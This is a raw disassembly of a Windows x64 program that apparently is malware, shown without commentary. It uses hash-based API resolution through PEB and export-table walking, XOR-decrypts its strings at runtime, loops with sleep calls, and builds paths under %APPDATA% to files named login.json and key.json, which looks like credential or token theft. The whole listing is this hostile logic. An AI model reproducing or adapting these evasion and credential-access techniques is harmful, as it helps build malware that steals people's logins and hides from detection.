movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400a0080]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140015fd3
cmp r8d, 0x15
jge 0x140016153
movsxd rax, r8d
lea r9, [rsp + 0x498]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140016120
lea rcx, [rsp + 0x498]
call r10
movzx eax, byte [0x14009ff10]
movups xmm0, xmmword [0x14009ff00]
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rsp + 0x298], al
movups xmmword [rsp + 0x288], xmm0
mov ecx, esi
cmp r14d, 2
jl 0x1400162d9
movdqa xmm0, xmmword [0x1400a0280]
movdqa xmmword [rsp + 0x190], xmm0
lea rdx, [rsp + 0x28c]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400a0080]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400a0080]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x1400161a7
cmp ecx, 0x11
jge 0x14001631e
movsxd rax, ecx
lea r9, [rsp + 0x288]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r9], al
inc ecx
lea r9, [r9 + 1]
cmp ecx, 0x11
jl 0x1400162f0
lea rdx, [rsp + 0x288]
mov rcx, r8
call fcn.140026a20
lea rdx, [0x140027050]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, esi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x3314], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rsp + 0x1f90]
call fcn.140026560
mov dword [rsp + 0xa80], 0x9c4
mov dword [rsp + 0xa84], 0xfa0
mov r9d, 0xfa0
mov r8d, 0x9c4
lea rdx, [rsp + 0x1f90]
lea rcx, [rsp + 0xa80]
call fcn.140027f00
mov ebx, eax
test eax, eax
jle 0x140016448
nop word [rax + rax]
mov qword [rsp + 0x178], 0x384
lea rdx, [rsp + 0x178]
lea rcx, [rsp + 0x180]
call fcn.140026c30
mov rcx, rax
call fcn.140027fd0
movzx eax, word [0x14009fde0]
mov word [rsp + 0x50], ax
cmp byte [0x14009fde1], 0
je 0x1400163f8
mov byte [rsp + 0x50], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x51], 0x3a
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140026a20
lea rdx, [0x140027050]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc edi
sub ebx, 0x384
cmp edi, 0xa
je 0x14001642a
test ebx, ebx
jg 0x1400163b0
lea rdx, [0x140026bf0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, esi
test ebx, ebx
jg 0x1400163b0
mov eax, dword [str.ZVH_]
mov dword [rsp + 0x74], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140024344
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140024344
mov edi, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002433b
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400164d0
cmp r8d, 0x491e0a9c
jne 0x14002433b
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov r8d, dword [rcx + rax*4]
add r8, r9
cmp r14d, 2
jl 0x14001659b
movdqa xmm3, xmmword [0x1400a0080]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400a0280]
movd xmm0, dword [rsp + 0x74]
xorps xmm2, xmm0
movd dword [rsp + 0x74], xmm2
jmp 0x1400165e3
lea r10, [rsp + 0x74]
mov r9d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r9b
sub al, cl
add al, 0x39
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x1400165b0
lea rcx, [rsp + 0x74]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140024333
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140024333
mov edi, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002432a
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140016660
cmp r8d, 0x2fa62ca8
jne 0x14002432a
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, Ordinal_301
call rdx
movups xmm0, xmmword [0x14009fa88]
movups xmmword [rsp + 0x4b0], xmm0
mov eax, dword [0x14009fa98]
mov dword [rsp + 0x4c0], eax
movzx eax, byte [0x14009fa9c]
mov byte [rsp + 0x4c4], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140024322
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140024322
mov edi, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140024319
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140016740
cmp r8d, 0xe76fb4aa
jne 0x140024319
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
mov r8d, esi
cmp r14d, 2
jl 0x1400168da
movdqa xmm0, xmmword [0x1400a0280]
movdqa xmmword [rsp + 0x190], xmm0
lea rcx, [rsp + 0x4b4]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400a0080]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400a0080]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400167a3
cmp r8d, 0x15
jge 0x140016923
movsxd rax, r8d
lea r9, [rsp + 0x4b0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400168f0
lea rcx, [rsp + 0x4b0]
call r10
mov eax, dword [0x14009fc34]
mov dword [rsp + 0x11c], eax
movzx eax, word [0x14009fc38]
mov word [rsp + 0x120], ax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14009fc3a]
mov byte [rsp + 0x11c], reloc.WLDAP32.dll_Ordinal_32
xor byte [rsp + 0x11d], 0x3a
xor byte [rsp + 0x11e], 0x3b
xor byte [rsp + 0x11f], 0x3c
xor byte [rsp + 0x120], 0x3d
xor byte [rsp + 0x121], 0x3e
xor al, 0x3f
mov byte [rsp + 0x122], al
lea rdx, [rsp + 0x11c]
call fcn.140026a20
lea rdx, [0x140027050]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140024311
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140024311
mov edi, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140024308
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140016a20
cmp r8d, 0x2fa62ca8
jne 0x140024308
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, 0x1f4
call rdx
mov eax, dword [str.ZVH_]
mov dword [rsp + 0x78], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140024300
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140024300
mov edi, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400242f7
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140016ae0
cmp r8d, 0x491e0a9c
jne 0x1400242f7
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov r8d, dword [rcx + rax*4]
add r8, r9
cmp r14d, 2
jl 0x140016bab
movdqa xmm3, xmmword [0x1400a0080]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400a0280]
movd xmm0, dword [rsp + 0x78]
xorps xmm2, xmm0
movd dword [rsp + 0x78], xmm2
jmp 0x140016bf3
lea r10, [rsp + 0x78]
mov r9d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r9b
sub al, cl
add al, 0x39
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140016bc0
lea rcx, [rsp + 0x78]
call r8
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rsp + 0xac0]
call fcn.140010800
lea rcx, [rsp + 0xac0]
call fcn.140010820
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rsp + 0xae0]
call fcn.140010800
lea rcx, [rsp + 0xae0]
call fcn.140010820
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rsp + 0xb00]
call fcn.140010800
lea rcx, [rsp + 0xb00]
call fcn.140010820
nop
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdi, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rsp + 0x9d8]
call fcn.140010800
nop
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140016c90
mov rdx, rdi
lea rcx, [rsp + 0x9d8]
call fcn.140027400
nop
mov r8d, 1
lea rdx, [0x14009f950]
lea rcx, [rsp + 0x9d8]
call fcn.140026320
mov rdx, rax
lea rcx, [rsp + 0x9b8]
call fcn.140025d40
nop
lea r8, [0x1400ae750]
lea rdx, [rsp + 0x9b8]
lea rcx, [rsp + 0x998]
call fcn.140026860
nop
mov r8d, recv
lea rdx, str.login.json
mov rcx, rax
call fcn.140026320
mov rdx, rax
lea rcx, [rsp + 0xb20]
call fcn.140025d40
nop
lea rcx, [rsp + 0x998]
call fcn.140025c50
nop
lea rcx, [rsp + 0x9b8]
call fcn.140025c50
nop
lea rcx, [rsp + 0x9d8]
call fcn.140025c50
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdi, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rsp + 0x978]
call fcn.140010800
nop
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140016d70
mov rdx, rdi
lea rcx, [rsp + 0x978]
call fcn.140027400
nop
mov r8d, 1
lea rdx, [0x14009f950]
lea rcx, [rsp + 0x978]
call fcn.140026320
mov rdx, rax
lea rcx, [rsp + 0x958]
call fcn.140025d40
nop
lea r8, [0x1400ae750]
lea rdx, [rsp + 0x958]
lea rcx, [rsp + 0x938]
call fcn.140026860
nop
mov r8d, 9
lea rdx, str.key.json
mov rcx, rax
call fcn.140026320
mov rdx, rax
lea rcx, [rsp + 0xb40]
call fcn.140025d40
nop
lea rcx, [rsp + 0x938]
call fcn.140025c50
nop
lea rcx, [rsp + 0x958]
call fcn.140025c50
nop
lea rcx, [rsp + 0x978]
call fcn.140025c50
movups xmm0, xmmword [0x14009fac0]
movups xmmword [rsp + 0x4c8], xmm0
mov eax, dword [0x14009fad0]
mov dword [rsp + 0x4d8], eax
movzx eax, byte [0x14009fad4]
mov byte [rsp + 0x4dc], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400242ef
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1400242ef
mov r15d, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + r15]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400242e6
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140016ec0
cmp r8d, 0xe76fb4aa
jne 0x1400242e6
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
mov r8d, esi
cmp r14d, 2
jl 0x14001705c
movdqa xmm0, xmmword [0x1400a0280]
movdqa xmmword [rsp + 0x190], xmm0
lea rcx, [rsp + 0x4cc]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400a0080]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400a0080]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140016f25
cmp r8d, 0x15
jge 0x1400170a3
movsxd rax, r8d
lea r9, [rsp + 0x4c8]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140017070
lea rcx, [rsp + 0x4c8]
call r10
mov eax, dword [0x14009fe10]
mov dword [rsp + 0x124], eax
movzx edx, word [0x14009fe14]
mov word [rsp + 0x128], dx
movzx eax, byte [0x14009fe16]
mov byte [rsp + 0x124], reloc.WLDAP32.dll_Ordinal_32
xor byte [rsp + 0x125], 0x3a
xor byte [rsp + 0x126], 0x3b
xor byte [rsp + 0x127], 0x3c
xor dl, 0x3d
mov byte [rsp + 0x128], dl
xor byte [rsp + 0x129], 0x3e
xor al, 0x3f
mov byte [rsp + 0x12a], al
lea rdx, [rsp + 0x124]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140026a20
lea rdx, [0x140027050]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x14009fb40]
movups xmmword [rsp + 0x4e0], xmm0
mov eax, dword [0x14009fb50]
mov dword [rsp + 0x4f0], eax
movzx eax, byte [0x14009fb54]
mov byte [rsp + 0x4f4], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400242de
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1400242de
mov r15d, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r15 + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400242d5
mov rax, qword [rax]
jmp 0x140017170
test r10d, r10d
jne 0x140016e90
mov rax, qword [rax]
jmp 0x140016e60
test r10d, r10d
jne 0x140016ab0
mov rax, qword [rax]
jmp 0x140016a80
test r10d, r10d
jne 0x1400169f0
mov rax, qword [rax]
jmp 0x1400169c0
test r10d, r10d
jne 0x140016710
mov rax, qword [rax]
jmp 0x1400166e0
test r10d, r10d
jne 0x140016630
mov rax, qword [rax]
jmp 0x140016600
test r10d, r10d
jne 0x1400164a0
mov rax, qword [rax]
jmp 0x140016470
test r10d, r10d
jne 0x140015f40
mov rax, qword [rax]
jmp 0x140015f10
test r10d, r10d
jne 0x140015d80
mov rax, qword [rax]
jmp 0x140015d50
test r10d, r10d
jne 0x140015cc0
mov rax, qword [rax]
jmp 0x140015c90
test r10d, r10d
jne 0x1400159e0
mov rax, qword [rax]
jmp 0x1400159b0
test r10d, r10d
jne 0x140015900
mov rax, qword [rax]
jmp 0x1400158d0
test r10d, r10d
jne 0x140015770
mov rax, qword [rax]
jmp 0x140015740
test r10d, r10d
jne 0x1400151f0
mov rax, qword [rax]
jmp 0x1400151c0
test r10d, r10d
jne 0x140015030
mov rax, qword [rax]
jmp 0x140015000
test r10d, r10d
jne 0x140014710
mov rax, qword [rax]
jmp 0x1400146e0
test r10d, r10d
jne 0x140014560
mov rax, qword [rax]
jmp 0x140014530
test r10d, r10d
jne 0x140013e50
mov rcx, qword [rcx]
jmp 0x140013e20
test r10d, r10d
jne 0x140013ca0
mov rax, qword [rax]
jmp 0x140013c70